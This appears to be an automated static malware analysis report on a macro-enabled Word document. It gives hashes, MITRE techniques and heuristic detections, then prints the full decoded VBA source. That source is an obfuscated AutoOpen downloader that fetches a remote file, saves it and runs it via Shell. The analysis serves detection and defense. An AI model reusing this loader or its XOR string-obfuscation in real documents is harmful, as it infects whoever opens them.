Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b36414c6318677cf…

MALICIOUS

Office (OOXML)

23.3 KB Created: 2021-09-12 10:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-17
MD5: 5a04eb2756275236c86e99c04b807a5b SHA-1: b33cdc5a1691a70d9f655b606e46c004905dbfc2 SHA-256: b36414c6318677cf24f1ed936733bce1e36e788172eb92b94de25f1c88dd6aa8
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains obfuscated VBA macros that are designed to execute automatically upon opening. These macros utilize CreateObject and Shell calls to download a file from a remote URL and execute it. The presence of AutoOpen, CreateObject, Shell calls, and HTTP download functionality strongly indicates a malicious downloader.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    PID = Shell("explorer ""C:\Users\AGK\Desktop\RCE.bat""", 1)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    mcLtbjlxKETROiO.Write TBBmcbQFDjqK.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set TBBmcbQFDjqK = CreateObject(GIgyIJufJGvyR(Array(((303 - 146) Xor (215 - 94)), (43 + 34), (0 + 1), 45, ((54 + 27) Xor (2 + 12)), (224 - 52), 10, (22 Xor ((29 - 10) + 78)), 137, (37 + (77 - 34)), 55, (339 - 157), 243, (27 - 5), ((13 + (38 - 6)) Xor (202 - 90))), Array(169, (24 Xor (32 + 28)), (52 + (68 - 22)), ((58 + (32 - 4)) Xor 9), ((22 - 11) Xor (11 + 48)), ((38 - 18) Xor ((130 - 18) + (177 - 86))), (37 Xor ((64 - 17) + 17)), 17, ((121 - 2) Xor ((107 - 29) + 60)), ((124 - 31) + 33), ((0 +  …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set TBBmcbQFDjqK = CreateObject(GIgyIJufJGvyR(Array(((303 - 146) Xor (215 - 94)), (43 + 34), (0 + 1), 45, ((54 + 27) Xor (2 + 12)), (224 - 52), 10, (22 Xor ((29 - 10) + 78)), 137, (37 + (77 - 34)), 55, (339 - 157), 243, (27 - 5), ((13 + (38 - 6)) Xor (202 - 90))), Array(169, (24 Xor (32 + 28)), (52 + (68 - 22)), ((58 + (32 - 4)) Xor 9), ((22 - 11) Xor (11 + 48)), ((38 - 18) Xor ((130 - 18) + (177 - 86))), (37 Xor ((64 - 17) + 17)), 17, ((121 - 2) Xor ((107 - 29) + 60)), ((124 - 31) + 33), ((0 +  …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4035 bytes
SHA-256: e3c0250b40a5535479d6652391933afd16388376647e26bf02743981316236e5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Function GIgyIJufJGvyR(lFHtBSgtSLROrM As Variant, jhGvAavhxYrGq As Variant)
Dim FkqffreQACCCM As String
FkqffreQACCCM = ""
For i = LBound(lFHtBSgtSLROrM) To UBound(lFHtBSgtSLROrM)
FkqffreQACCCM = FkqffreQACCCM & Chr(jhGvAavhxYrGq(i) Xor lFHtBSgtSLROrM(i))
Next
GIgyIJufJGvyR = FkqffreQACCCM
End Function
Sub AutoOpen()
Dim QjeLRTyTYaNRnIf As String
Dim TBBmcbQFDjqK As Object
Dim mcLtbjlxKETROiO As Object
Dim PID As Variant
QjeLRTyTYaNRnIf = GIgyIJufJGvyR(Array((46 + (234 - 36)), (22 + 6), 146, (41 + 141), (229 - 61), (80 + 9), 210, ((49 - 17) Xor 18), ((9 - 4) + 118), (2 + 184), (23 Xor (6 + (5 - 0))), (((28 - 2) + 16) Xor (385 - 186)), (30 Xor ((200 - 22) + 30)), (402 - 178), 221), Array((((174 - 36) + 18) Xor (0 + 0)), 104, ((98 - 16) + 148), 198, 146, (122 - 4), (258 - 5), 3, (((17 - 8) + (22 - 7)) Xor (121 - 38)), ((14 + 0) Xor 154), 45, 195, (265 - 10), (21 Xor (166 + 30)), ((2 + 192) Xor (25 + 22)))) & _
GIgyIJufJGvyR(Array(((98 - 25) + 163), (3 Xor 18), 96, (23 + 25), (78 Xor 58), ((0 + (2 - 1)) Xor 41), (29 + 170), ((19 - 9) + 7), 134, (18 + (7 - 1)), 65, (41 Xor 229), 49, (230 Xor (31 - 4)), (163 - 45)), Array(((118 - 43) Xor ((0 - 0) + 137)), 41, ((13 + 5) Xor 72), (6 Xor (14 + 0)), 68, ((19 - 8) Xor (8 + 11)), (240 Xor 7), ((62 - 24) Xor 24), (405 - 193), 91, (8 - 4), (13 Xor 239), 83, 156, 2))
Set TBBmcbQFDjqK = CreateObject(GIgyIJufJGvyR(Array(((303 - 146) Xor (215 - 94)), (43 + 34), (0 + 1), 45, ((54 + 27) Xor (2 + 12)), (224 - 52), 10, (22 Xor ((29 - 10) + 78)), 137, (37 + (77 - 34)), 55, (339 - 157), 243, (27 - 5), ((13 + (38 - 6)) Xor (202 - 90))), Array(169, (24 Xor (32 + 28)), (52 + (68 - 22)), ((58 + (32 - 4)) Xor 9), ((22 - 11) Xor (11 + 48)), ((38 - 18) Xor ((130 - 18) + (177 - 86))), (37 Xor ((64 - 17) + 17)), 17, ((121 - 2) Xor ((107 - 29) + 60)), ((124 - 31) + 33), ((0 + 1) Xor (10 + 100)), 251, (88 + (147 - 44)), ((49 + (25 - 1)) Xor (0 + 23)), (3 Xor (5 + 5)))) & _
GIgyIJufJGvyR(Array(((55 - 20) + (96 - 26)), (100 - 15)), Array(61, ((10 - 5) + 0))))
TBBmcbQFDjqK.Open GIgyIJufJGvyR(Array((99 - 48), (209 - 34), ((191 - 79) + 5)), Array((192 - 76), ((111 + 21) Xor 110), (20 + (13 - 0)))), QjeLRTyTYaNRnIf, False
TBBmcbQFDjqK.send
If TBBmcbQFDjqK.Status = (168 Xor 96) Then
Set mcLtbjlxKETROiO = CreateObject(GIgyIJufJGvyR(Array(((116 - 22) Xor 218), 221, ((0 + 0) Xor 88), (138 Xor 127), (207 - 98), 117, (0 Xor (1 + 0)), (145 + 69), 13, (40 + 10), (191 Xor 126), 242), Array(197, ((85 - 7) Xor (169 + 46)), (38 - 15), 177, (9 Xor (23 + 15)), (58 Xor 97), (104 - 22), (13 + (165 - 16)), (54 Xor (24 + (56 - 7))), 87, 160, (311 - 152))))
mcLtbjlxKETROiO.Open
mcLtbjlxKETROiO.Type = 1
mcLtbjlxKETROiO.Write TBBmcbQFDjqK.responseBody
mcLtbjlxKETROiO.SaveToFile GIgyIJufJGvyR(Array(153, 25, 127, ((10 + 18) Xor 111), 145, (155 Xor (2 + 68)), (31 Xor 247), 34, (1 + (13 - 6)), 106, (25 + (0 - 0)), (29 - 3), ((4 - 2) Xor 144), (311 - 74), (6 - 2)), Array(218, ((27 - 12) + 20), 35, 38, (47 Xor (93 + 112)), 184, ((174 - 29) Xor 11), (34 Xor (64 + (78 - 27))), ((48 - 10) Xor 114), ((7 - 3) + (43 - 4)), ((10 + (21 - 10)) Xor 75), (149 - 68), 206, (154 Xor 51), 97)) & _
GIgyIJufJGvyR(Array((15 Xor (31 + 23)), (43 Xor (93 + 11)), 48, (94 - 3), (210 - 56), ((0 - 0) Xor 5)), Array((66 Xor (16 - 8)), ((17 - 8) Xor (13 + (40 - 20))), (83 - 15), ((9 - 2) + (52 - 7)), (175 + (114 - 55)), (142 - 53))) & GIgyIJufJGvyR(Array(((51 + (4 - 2)) Xor 122), 231, 229, (148 Xor (3 + (108 - 34))), (243 - 115), (402 - 160), 234), Array((42 - 13), 164, 160, (200 Xor 63), (147 + 79), (134 + (22 - 9)), 158)), (0 Xor ((0 - 0) + (4 - 2)))
mcLtbjlxKETROiO.Close
PID = Shell("explorer ""C:\Users\AGK\Desktop\RCE.bat""", 1)
End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25088 bytes
SHA-256: 9b1d6e00eba5bb1f877540acc085fa44d78ac28eb05199d0ddc7a74917f4e62a

Open this report in the interactive analyzer, or submit your own file for analysis.